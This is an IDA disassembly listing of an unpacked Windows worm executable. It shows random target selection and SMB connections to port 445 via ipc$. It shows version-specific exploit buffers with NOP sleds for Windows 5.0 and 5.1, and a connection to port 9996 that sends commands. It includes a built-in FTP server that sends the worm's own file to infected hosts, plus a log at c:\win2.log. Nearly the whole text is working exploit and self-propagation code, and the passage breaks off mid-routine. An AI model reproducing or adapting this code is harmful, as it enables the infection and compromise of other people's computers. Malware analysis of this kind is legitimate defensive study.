; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : A0FE60597CC3FA35B40418415B486697 ; File Name : u:\work\a0fe60597cc3fa35b40418415b486697_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00013000 ( 77824.) ; Section size in file : 00013000 ( 77824.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; OS type : MS Windows ; Application type: Executable 32bit unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= sub_401000 proc near ; CODE XREF: sub_40127D+7Cp ; sub_401EF0:loc_401F35p ... mov eax, dword_4090C0 imul eax, 343FDh add eax, 279EC3h mov dword_4090C0, eax shr eax, 10h and eax, 7FFFh retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_40101E proc near ; CODE XREF: WinMain(x,x,x,x)+1Fp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4090C0, eax retn sub_40101E endp ; =============== S U B R O U T I N E ======================================= sub_401028 proc near ; CODE XREF: WinMain(x,x,x,x)+24p var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call dword_407150 ; WSAStartup add esp, 190h retn sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401045 proc near ; CODE XREF: sub_4010D2+4Cp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call dword_407148 ; inet_addr movsx ecx, al mov [ebp+arg_0], eax movsx edx, byte ptr [ebp+arg_0+2] movsx esi, byte ptr [ebp+arg_0+3] movsx edi, ah test ecx, ecx mov eax, 100h jge short loc_40106F add ecx, eax loc_40106F: ; CODE XREF: sub_401045+26j test edi, edi jge short loc_401075 add edi, eax loc_401075: ; CODE XREF: sub_401045+2Cj test edx, edx jge short loc_40107B add edx, eax loc_40107B: ; CODE XREF: sub_401045+32j test esi, esi jge short loc_401081 add esi, eax loc_401081: ; CODE XREF: sub_401045+38j push 1 cmp ecx, 7Fh pop eax jnz short loc_401095 test edi, edi jnz short loc_4010CE test edx, edx jnz short loc_4010CE cmp esi, eax jz short loc_4010CC loc_401095: ; CODE XREF: sub_401045+42j cmp ecx, 0Ah jz short loc_4010CC cmp ecx, 0ACh jnz short loc_4010AC cmp edi, 0Fh jle short loc_4010CE cmp edi, 20h jl short loc_4010CC loc_4010AC: ; CODE XREF: sub_401045+5Bj cmp ecx, 0C0h jnz short loc_4010BC cmp edi, 0A8h jz short loc_4010CC loc_4010BC: ; CODE XREF: sub_401045+6Dj cmp ecx, 0A9h jnz short loc_4010CE cmp edi, 0FEh jnz short loc_4010CE loc_4010CC: ; CODE XREF: sub_401045+4Ej ; sub_401045+53j ... xor al, al loc_4010CE: ; CODE XREF: sub_401045+46j ; sub_401045+4Aj ... pop edi pop esi pop ebp retn sub_401045 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010D2 proc near ; CODE XREF: sub_40127D+9Cp ; sub_401EF0+1Ap var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push ebx push esi push edi lea eax, [ebp+var_100] push 0FFh push eax call dword_407140 ; gethostname test eax, eax jnz short loc_401136 lea eax, [ebp+var_100] push eax call dword_40714C ; gethostbyname mov edi, eax xor esi, esi cmp edi, esi jz short loc_401136 mov eax, [edi+0Ch] cmp [eax], esi jz short loc_401136 loc_401110: ; CODE XREF: sub_4010D2+60j mov eax, [esi+eax] push dword ptr [eax] call dword_407144 ; inet_ntoa mov ebx, eax push ebx call sub_401045 test al, al pop ecx jnz short loc_40113D mov eax, [edi+0Ch] add esi, 4 cmp dword ptr [esi+eax], 0 jnz short loc_401110 jmp short loc_401139 ; --------------------------------------------------------------------------- loc_401136: ; CODE XREF: sub_4010D2+20j ; sub_4010D2+35j ... mov ebx, [ebp+arg_0] loc_401139: ; CODE XREF: sub_4010D2+62j test ebx, ebx jz short loc_401140 loc_40113D: ; CODE XREF: sub_4010D2+54j push ebx jmp short loc_401145 ; --------------------------------------------------------------------------- loc_401140: ; CODE XREF: sub_4010D2+69j push offset a127_0_0_1 ; "127.0.0.1" loc_401145: ; CODE XREF: sub_4010D2+6Cj push [ebp+arg_0] call dword_407018 ; lstrcpyA pop edi pop esi pop ebx leave retn sub_4010D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401153 proc near ; CODE XREF: sub_401EF0+E2p Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push 1BDh call dword_407130 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call sub_4011D5 mov [ebp+var_C], eax push 8 ; Size lea eax, [ebp+var_8] push 0 ; Val push eax ; Dst call _memset add esp, 10h push 6 push 1 pop ebx push ebx push 2 call dword_407134 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4011B4 xor al, al jmp short loc_4011D1 ; --------------------------------------------------------------------------- loc_4011B4: ; CODE XREF: sub_401153+5Bj lea eax, [ebp+Dst] push 10h push eax push esi call dword_407138 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4011C8 xor bl, bl loc_4011C8: ; CODE XREF: sub_401153+71j push esi call dword_40713C ; closesocket mov al, bl loc_4011D1: ; CODE XREF: sub_401153+5Fj pop esi pop ebx leave retn sub_401153 endp ; =============== S U B R O U T I N E ======================================= sub_4011D5 proc near ; CODE XREF: sub_401153+30p ; sub_40127D+34p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push edi call dword_407148 ; inet_addr mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4011F2 test esi, esi jnz short loc_401204 cmp byte ptr [edi], 30h jz short loc_40120B loc_4011F2: ; CODE XREF: sub_4011D5+12j push edi call dword_40714C ; gethostbyname test eax, eax jz short loc_401204 mov eax, [eax+0Ch] mov eax, [eax] mov esi, [eax] loc_401204: ; CODE XREF: sub_4011D5+16j ; sub_4011D5+26j cmp esi, 0FFFFFFFFh jnz short loc_40120B xor esi, esi loc_40120B: ; CODE XREF: sub_4011D5+1Bj ; sub_4011D5+32j mov eax, esi pop edi pop esi retn sub_4011D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401210 proc near ; CODE XREF: sub_40127D+F9p Str = byte ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h inc dword_4090C4 push edi push dword_4090C4 lea eax, [ebp+Str] push offset aI ; "%i" push eax call dword_407118 ; wsprintfA add esp, 0Ch push 0 push offset aCWin2_log ; "c:\\win2.log" call dword_407024 ; _lcreat mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_40127A lea eax, [ebp+Str] push esi push eax ; Str call _strlen mov esi, dword_407020 pop ecx push eax lea eax, [ebp+Str] push eax push edi call esi ; _lwrite push [ebp+arg_0] ; Str call _strlen pop ecx push eax push [ebp+arg_0] push edi call esi ; _lwrite push edi call dword_40701C ; _lclose pop esi loc_40127A: ; CODE XREF: sub_401210+37j pop edi leave retn sub_401210 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40127D proc near ; CODE XREF: sub_401A84+7Bp var_348 = dword ptr -348h Str = byte ptr -33Ch var_110 = byte ptr -110h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 33Ch push ebx push edi xor ebx, ebx push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push 270Ch call dword_407130 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call sub_4011D5 mov [ebp+var_C], eax push 8 ; Size lea eax, [ebp+var_8] push ebx ; Val push eax ; Dst call _memset add esp, 10h push 6 push 1 push 2 call dword_407134 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4012E2 xor al, al jmp loc_401394 ; --------------------------------------------------------------------------- loc_4012E2: ; CODE XREF: sub_40127D+5Cj lea eax, [ebp+Dst] push 10h push eax push edi call dword_407138 ; connect cmp eax, 0FFFFFFFFh jz loc_40138B push esi call sub_401000 mov esi, eax lea eax, [ebp+var_110] push offset Source push eax call dword_407018 ; lstrcpyA lea eax, [ebp+var_110] push eax call sub_4010D2 push esi lea eax, [ebp+var_110] push esi push eax push off_408030 lea eax, [ebp+Str] push eax call dword_407118 ; wsprintfA lea eax, [ebp+Str] xor esi, esi push eax ; Str call _strlen add esp, 1Ch test eax, eax jbe short loc_401373 loc_40134F: ; CODE XREF: sub_40127D+F4j push ebx lea eax, [ebp+esi+Str] push 1 push eax push edi call dword_40712C ; send lea eax, [ebp+Str] inc esi push eax ; Str call _strlen cmp esi, eax pop ecx jb short loc_40134F loc_401373: ; CODE XREF: sub_40127D+D0j push [ebp+arg_0] call sub_401210 mov [esp+348h+var_348], 3E8h call dword_407028 ; Sleep mov bl, 1 pop esi loc_40138B: ; CODE XREF: sub_40127D+75j push edi call dword_40713C ; closesocket mov al, bl loc_401394: ; CODE XREF: sub_40127D+60j pop edi pop ebx leave retn sub_40127D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401398 proc near ; CODE XREF: sub_401A84+15p var_744 = byte ptr -744h var_714 = byte ptr -714h Src = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h Str = byte ptr -3Ch var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h Dst = byte ptr -0Ch var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 744h push ebx push esi push edi push offset Source push [ebp+arg_4] call dword_407018 ; lstrcpyA push [ebp+arg_0] lea eax, [ebp+Str] push offset aSIpc ; "\\\\%s\\ipc$" push eax call dword_407118 ; wsprintfA add esp, 0Ch xor edi, edi xor ecx, ecx lea eax, [ebp+var_103] loc_4013D1: ; CODE XREF: sub_401398+49j mov dl, [ebp+ecx+Str] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_4013D1 push 60h ; Size lea eax, [ebp+var_B4] push offset dword_4083E4 ; Src push eax ; Dst call _memcpy lea eax, [ebp+Str] push eax ; Str call _strlen shl eax, 1 push eax ; Size lea eax, [ebp+Src] push eax ; Src lea eax, [ebp+var_84] push eax ; Dst call _memcpy add esp, 1Ch lea eax, [ebp+Str] push 9 ; Size push (offset aC+3) ; Src push eax ; Str call _strlen pop ecx lea eax, [ebp+eax*2+var_85] push eax ; Dst call _memcpy lea eax, [ebp+Str] push eax ; Str call _strlen add al, 1Ah push 1 ; Size shl al, 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax ; Src lea eax, [ebp+var_B1] push eax ; Dst call _memcpy lea eax, [ebp+Str] push eax ; Str call _strlen shl al, 1 add al, 9 push 1 ; Size mov [ebp+var_1], al lea eax, [ebp+var_1] push eax ; Src lea eax, [ebp+var_87] push eax ; Dst call _memcpy add esp, 2Ch push [ebp+arg_0] call dword_40714C ; gethostbyname mov ebx, eax cmp ebx, edi jz loc_401554 push edi push 1 push 2 loc_401495: ; DATA XREF: .text:off_4085D8o call dword_407134 ; socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_401554 push 1BDh mov [ebp+var_14], 2 call dword_407130 ; ntohs mov [ebp+var_12], ax mov eax, [ebx+0Ch] push 8 ; Size push edi ; Val mov eax, [eax] mov eax, [eax] mov [ebp+var_10], eax lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_14] push 10h push eax push esi call dword_407138 ; connect cmp eax, 0FFFFFFFFh jz short loc_401554 mov ebx, dword_40712C push edi push 89h push offset dword_4081CC push esi call ebx ; send cmp eax, 0FFFFFFFFh jz short loc_401554 push edi mov edi, 640h lea eax, [ebp+var_744] push edi push eax push esi mov esi, dword_407128 call esi ; recv push 0 push 0A8h push offset dword_408258 push [ebp+arg_0] call ebx ; send cmp eax, 0FFFFFFFFh jz short loc_401554 push 0 lea eax, [ebp+var_744] push edi push eax push [ebp+arg_0] call esi ; recv push 0 push 0DEh push offset dword_408304 push [ebp+arg_0] call ebx ; send cmp eax, 0FFFFFFFFh jnz short loc_401558 loc_401554: ; CODE XREF: sub_401398+F2j ; sub_401398+10Bj ... xor eax, eax jmp short loc_401599 ; --------------------------------------------------------------------------- loc_401558: ; CODE XREF: sub_401398+1BAj push 0 lea eax, [ebp+var_744] push edi push eax push [ebp+arg_0] call esi ; recv push 46h lea esi, [ebp+var_714] pop edi loc_401570: ; CODE XREF: sub_401398+1F3j movsx eax, byte ptr [esi] push eax push [ebp+arg_4] push offset aSC ; "%s%c" push [ebp+arg_4] call dword_407118 ; wsprintfA add esp, 10h inc esi inc esi dec edi jnz short loc_401570 push [ebp+arg_0] call dword_40713C ; closesocket push 1 pop eax loc_401599: ; CODE XREF: sub_401398+1BEj pop edi pop esi pop ebx leave retn sub_401398 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40159E proc near ; CODE XREF: sub_401A84+3Bp ; sub_401A84+5Ep ... var_89C4 = byte ptr -89C4h var_895C = byte ptr -895Ch var_68EC = byte ptr -68ECh var_687C = byte ptr -687Ch var_5DB8 = byte ptr -5DB8h var_4814 = byte ptr -4814h var_4813 = byte ptr -4813h var_3780 = byte ptr -3780h var_2CBC = byte ptr -2CBCh var_2CBB = byte ptr -2CBBh var_2CB8 = byte ptr -2CB8h var_24D4 = byte ptr -24D4h var_24C4 = byte ptr -24C4h var_21A0 = byte ptr -21A0h var_219C = byte ptr -219Ch var_2190 = byte ptr -2190h var_1F08 = byte ptr -1F08h var_1E8C = byte ptr -1E8Ch var_16BC = byte ptr -16BCh var_1211 = byte ptr -1211h var_F24 = byte ptr -0F24h var_E84 = byte ptr -0E84h var_778 = dword ptr -778h var_768 = byte ptr -768h var_754 = byte ptr -754h Src = byte ptr -114h var_113 = byte ptr -113h Dst = byte ptr -0C4h var_C1 = byte ptr -0C1h var_97 = byte ptr -97h var_95 = byte ptr -95h var_94 = byte ptr -94h Str = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 89C4h call __alloca_probe mov eax, dword_408A34 push [ebp+arg_0] mov [ebp+var_14], eax mov eax, dword_408A38 mov [ebp+var_10], eax lea eax, [ebp+Str] push offset aSIpc ; "\\\\%s\\ipc$" push eax call dword_407118 ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_113] loc_4015D8: ; CODE XREF: sub_40159E+4Aj mov dl, [ebp+ecx+Str] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_4015D8 push ebx push esi push edi push 60h ; Size lea eax, [ebp+Dst] push offset dword_4083E4 ; Src push eax ; Dst call _memcpy lea eax, [ebp+Str] push eax ; Str call _strlen shl eax, 1 push eax ; Size lea eax, [ebp+Src] push eax ; Src lea eax, [ebp+var_94] push eax ; Dst call _memcpy add esp, 1Ch lea eax, [ebp+Str] push 9 ; Size push (offset aC+3) ; Src push eax ; Str call _strlen pop ecx lea eax, [ebp+eax*2+var_95] push eax ; Dst call _memcpy lea eax, [ebp+Str] push eax ; Str call _strlen add al, 1Ah push 1 ; Size shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax ; Src lea eax, [ebp+var_C1] push eax ; Dst call _memcpy lea eax, [ebp+Str] push eax ; Str call _strlen shl al, 1 add al, 9 push 1 ; Size mov [ebp+var_6], al lea eax, [ebp+var_6] push eax ; Src lea eax, [ebp+var_97] push eax ; Dst call _memcpy add esp, 2Ch push 270Ch call dword_407130 ; ntohs xor eax, 9999h push 2 ; Size mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax ; Src push offset dword_4080E4 ; Dst call _memcpy mov ebx, [ebp+arg_4] add esp, 0Ch cmp ebx, 1 jz short loc_40171A cmp ebx, 2 jz short loc_40171A push 7D0h ; Size lea eax, [ebp+var_F24] push 90h ; Val push eax ; Dst call _memset mov esi, offset Str ; "ë" push esi ; Str call _strlen push eax ; Size lea eax, [ebp+var_E84] push esi ; Src push eax ; Dst call _memcpy lea eax, [ebp+var_14] push eax ; Str call _strlen push eax ; Size lea eax, [ebp+var_14] push eax ; Src lea eax, [ebp+var_768] push eax ; Dst call _memcpy add esp, 2Ch imul ebx, 3Ch mov eax, dword_408810[ebx] mov [ebp+var_778], eax jmp loc_4017EE ; --------------------------------------------------------------------------- loc_40171A: ; CODE XREF: sub_40159E+115j ; sub_40159E+11Aj mov edi, 0DACh lea eax, [ebp+var_2CB8] push edi ; Size push 90h ; Val push eax ; Dst call _memset imul ebx, 3Ch push 4 ; Size lea eax, [ebp+var_24D4] lea ebx, dword_408810[ebx] push ebx ; Src push eax ; Dst call _memcpy mov esi, offset Str ; "ë" push esi ; Str call _strlen push eax ; Size lea eax, [ebp+var_24C4] push esi ; Src push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+var_21A0] push offset dword_408A2C ; Src push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+var_219C] push ebx ; Src push eax ; Dst call _memcpy add esp, 40h push esi ; Str call _strlen push eax ; Size lea eax, [ebp+var_2190] push esi ; Src push eax ; Dst call _memcpy add esp, 10h xor ecx, ecx lea eax, [ebp+var_4813] loc_4017A6: ; CODE XREF: sub_40159E+21Aj mov dl, [ebp+ecx+var_2CB8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, edi jl short loc_4017A6 and [ebp+var_2CBC], 0 and [ebp+var_2CBB], 0 mov esi, 1C52h lea eax, [ebp+var_89C4] push esi ; Size push 31h ; Val push eax ; Dst call _memset push esi ; Size lea eax, [ebp+var_68EC] push 31h ; Val push eax ; Dst call _memset add esp, 18h loc_4017EE: ; CODE XREF: sub_40159E+177j push 0 push 1 push 2 call dword_407134 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jz loc_401A7D push 1BDh mov [ebp+var_24], 2 call dword_407130 ; ntohs push [ebp+arg_0] mov [ebp+var_22], ax call sub_4011D5 mov [ebp+var_20], eax xor ebx, ebx push 8 ; Size lea eax, [ebp+var_1C] push ebx ; Val push eax ; Dst call _memset add esp, 10h lea eax, [ebp+var_24] push 10h push eax push edi call dword_407138 ; connect cmp eax, 0FFFFFFFFh jz loc_401A7D mov esi, dword_40712C push ebx push 89h push offset dword_4081CC push edi call esi ; send cmp eax, 0FFFFFFFFh jz loc_401A7D push ebx mov ebx, 640h lea eax, [ebp+var_754] push ebx push eax push edi mov edi, dword_407128 call edi ; recv push 0 push 0A8h push offset dword_408258 push [ebp+var_4] call esi ; send cmp eax, 0FFFFFFFFh jz loc_401A7D push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi ; recv push 0 push 0DEh push offset dword_408304 push [ebp+var_4] call esi ; send cmp eax, 0FFFFFFFFh jz loc_401A7D push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi ; recv movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+Dst] push eax push [ebp+var_4] call esi ; send cmp eax, 0FFFFFFFFh jz loc_401A7D push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi ; recv push 0 push 68h push offset dword_408448 push [ebp+var_4] call esi ; send cmp eax, 0FFFFFFFFh jz loc_401A7D push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi ; recv push 0 push 0A0h push offset dword_4084B4 push [ebp+var_4] call esi ; send cmp eax, 0FFFFFFFFh jz loc_401A7D push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi ; recv cmp [ebp+arg_4], 1 jz short loc_4019BB cmp [ebp+arg_4], 2 jz short loc_4019BB push 7Ch ; Size lea eax, [ebp+var_1F08] push offset dword_408558 ; Src push eax ; Dst call _memcpy lea eax, [ebp+var_F24] push 7D0h ; Size push eax ; Src lea eax, [ebp+var_1E8C] push eax ; Dst call _memcpy push 90h ; Size lea eax, [ebp+var_16BC] push offset off_4085D8 ; Src push eax ; Dst call _memcpy add esp, 24h and [ebp+var_1211], 0 lea eax, [ebp+var_1F08] push 0 push 0CF8h jmp loc_401A5E ; --------------------------------------------------------------------------- loc_4019BB: ; CODE XREF: sub_40159E+3B8j ; sub_40159E+3BEj push 68h ; Size lea eax, [ebp+var_89C4] push offset dword_40866C ; Src push eax ; Dst call _memcpy lea eax, [ebp+var_4814] push 1B5Ah ; Size push eax ; Src lea eax, [ebp+var_895C] push eax ; Dst call _memcpy push 70h ; Size lea eax, [ebp+var_68EC] push offset dword_4086D8 ; Src push eax ; Dst call _memcpy lea eax, [ebp+var_3780] push 0A5Eh ; Size push eax ; Src lea eax, [ebp+var_687C] push eax ; Dst call _memcpy push 84h ; Size lea eax, [ebp+var_5DB8] push offset dword_40874C ; Src push eax ; Dst call _memcpy add esp, 3Ch lea eax, [ebp+var_89C4] push 0 push 10FCh push eax push [ebp+var_4] call esi ; send cmp eax, 0FFFFFFFFh jz short loc_401A7D push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi ; recv push 0 push 0FDCh lea eax, [ebp+var_68EC] loc_401A5E: ; CODE XREF: sub_40159E+418j push eax push [ebp+var_4] call esi ; send cmp eax, 0FFFFFFFFh jz short loc_401A7D push 3E8h call dword_407028 ; Sleep push [ebp+var_4] call dword_40713C ; closesocket loc_401A7D: ; CODE XREF: sub_40159E+264j ; sub_40159E+2ABj ... pop edi pop esi xor eax, eax pop ebx leave retn sub_40159E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A84 proc near ; CODE XREF: WinMain(x,x,x,x)+3Ap Str = byte ptr -84h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 84h push esi mov esi, [ebp+arg_0] lea eax, [ebp+Str] push eax push esi call sub_401398 pop ecx cmp eax, 1 pop ecx jnz short loc_401B05 lea eax, [ebp+Str] push offset SubStr ; "5.1" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_401AC8 push 0 push esi call sub_40159E push 0 jmp short loc_401AF5 ; --------------------------------------------------------------------------- loc_401AC8: ; CODE XREF: sub_401A84+36j lea eax, [ebp+Str] push offset a5_0 ; "5.0" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_401AEB push 1 push esi call sub_40159E push 1 jmp short loc_401AF5 ; --------------------------------------------------------------------------- loc_401AEB: ; CODE XREF: sub_401A84+59j push 2 push esi call sub_40159E push 2 loc_401AF5: ; CODE XREF: sub_401A84+42j ; sub_401A84+65j push esi call sub_40159E add esp, 10h push esi call sub_40127D pop ecx loc_401B05: ; CODE XREF: sub_401A84+1Fj pop esi leave retn sub_401A84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B08 proc near ; DATA XREF: sub_401E65+74o var_8E4 = byte ptr -8E4h Str = byte ptr -4E4h Source = byte ptr -4E0h Dest = byte ptr -0E4h var_60 = byte ptr -60h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch Dst = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 Delim = byte ptr -4 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8E4h push ebx mov ebx, [ebp+arg_0] cmp ebx, 0FFFFFFFFh jz loc_401E29 push esi push edi push 0 push off_4088D0 ; Str call _strlen mov esi, dword_40712C pop ecx push eax push off_4088D0 push ebx call esi ; send mov edi, [ebp+arg_0] jmp short loc_401B46 ; --------------------------------------------------------------------------- loc_401B43: ; CODE XREF: sub_401B08+310j mov ebx, [ebp+arg_0] loc_401B46: ; CODE XREF: sub_401B08+39j push 0 lea eax, [ebp+Str] push 400h push eax push ebx call dword_407128 ; recv and [ebp+eax+Str], 0 mov [ebp+var_10], eax lea eax, [ebp+Str] push offset aUser ; "USER" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_401B97 push 0 push off_4088D4 ; Str call _strlen pop ecx push eax push off_4088D4 jmp loc_401E11 ; --------------------------------------------------------------------------- loc_401B97: ; CODE XREF: sub_401B08+73j lea eax, [ebp+Str] push offset aPass ; "PASS" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_401BC8 push 0 push off_4088D8 ; Str call _strlen pop ecx push eax push off_4088D8 jmp loc_401E11 ; --------------------------------------------------------------------------- loc_401BC8: ; CODE XREF: sub_401B08+A4j lea eax, [ebp+Str] push offset aPort ; "PORT" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz loc_401CA4 lea eax, [ebp+Source] push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strcpy mov ax, word_408A60 mov word ptr [ebp+Delim], ax lea eax, [ebp+Delim] push eax ; Delim lea eax, [ebp+Dest] push eax ; Str call _strtok add esp, 10h mov ebx, eax xor edi, edi loc_401C17: ; CODE XREF: sub_401B08+159j test ebx, ebx jz short loc_401C4B cmp edi, 4 jge short loc_401C2E push ebx call sub_401E30 pop ecx mov [ebp+edi*4+var_38], eax cmp edi, 4 loc_401C2E: ; CODE XREF: sub_401B08+116j jnz short loc_401C3A push ebx call sub_401E30 pop ecx mov [ebp+var_18], eax loc_401C3A: ; CODE XREF: sub_401B08:loc_401C2Ej cmp edi, 5 jnz short loc_401C4E push ebx call sub_401E30 pop ecx mov [ebp+var_14], eax jmp short loc_401C4E ; --------------------------------------------------------------------------- loc_401C4B: ; CODE XREF: sub_401B08+111j push 6 pop edi loc_401C4E: ; CODE XREF: sub_401B08+135j ; sub_401B08+141j lea eax, [ebp+Delim] push eax ; Delim push 0 ; Str call _strtok inc edi pop ecx cmp edi, 6 pop ecx mov ebx, eax jl short loc_401C17 push [ebp+var_2C] mov edi, [ebp+var_18] lea eax, [ebp+var_60] push [ebp+var_30] shl edi, 8 push [ebp+var_34] add edi, [ebp+var_14] push [ebp+var_38] push offset aI_I_I_I ; "%i.%i.%i.%i" push eax call dword_407118 ; wsprintfA add esp, 18h push 0 push off_4088E0 ; Str call _strlen pop ecx push eax push off_4088E0 jmp loc_401DD7 ; --------------------------------------------------------------------------- loc_401CA4: ; CODE XREF: sub_401B08+D5j lea eax, [ebp+Str] push offset aRetr ; "RETR" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz loc_401DDC push 0 push off_4088E4 ; Str call _strlen pop ecx push eax push off_4088E4 push ebx call esi ; send lea eax, [ebp+var_60] push eax call sub_4011D5 mov ebx, eax pop ecx test ebx, ebx jz loc_401DB9 push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push edi call dword_407130 ; ntohs push 0 push 1 push 2 mov [ebp+var_26], ax mov [ebp+var_24], ebx call dword_407134 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh mov [ebp+var_C], ebx jz loc_401DB9 lea eax, [ebp+Dst] push 10h push eax push ebx call dword_407138 ; connect cmp eax, 0FFFFFFFFh jnz short loc_401D44 push ebx call dword_40713C ; closesocket jmp short loc_401DB9 ; --------------------------------------------------------------------------- loc_401D44: ; CODE XREF: sub_401B08+231j lea eax, [ebp+var_8E4] push 400h push eax push 0 call dword_407034 ; GetModuleFileNameA lea eax, [ebp+var_8E4] push 0 push eax call dword_407030 ; _lopen cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jz short loc_401DB9 lea eax, [ebp+var_2] push offset Source ; Source push eax ; Dest call _strcpy mov ebx, dword_40702C pop ecx pop ecx lea eax, [ebp+var_2] push 1 push eax push [ebp+var_8] loc_401D8E: ; CODE XREF: sub_401B08+2A6j call ebx ; _lread cmp eax, 1 jnz short loc_401DB0 and [ebp+var_1], 0 push 0 push eax lea eax, [ebp+var_2] push eax push [ebp+var_C] call esi ; send lea eax, [ebp+var_2] push 1 push eax push [ebp+var_8] jmp short loc_401D8E ; --------------------------------------------------------------------------- loc_401DB0: ; CODE XREF: sub_401B08+28Bj push [ebp+var_8] call dword_40701C ; _lclose loc_401DB9: ; CODE XREF: 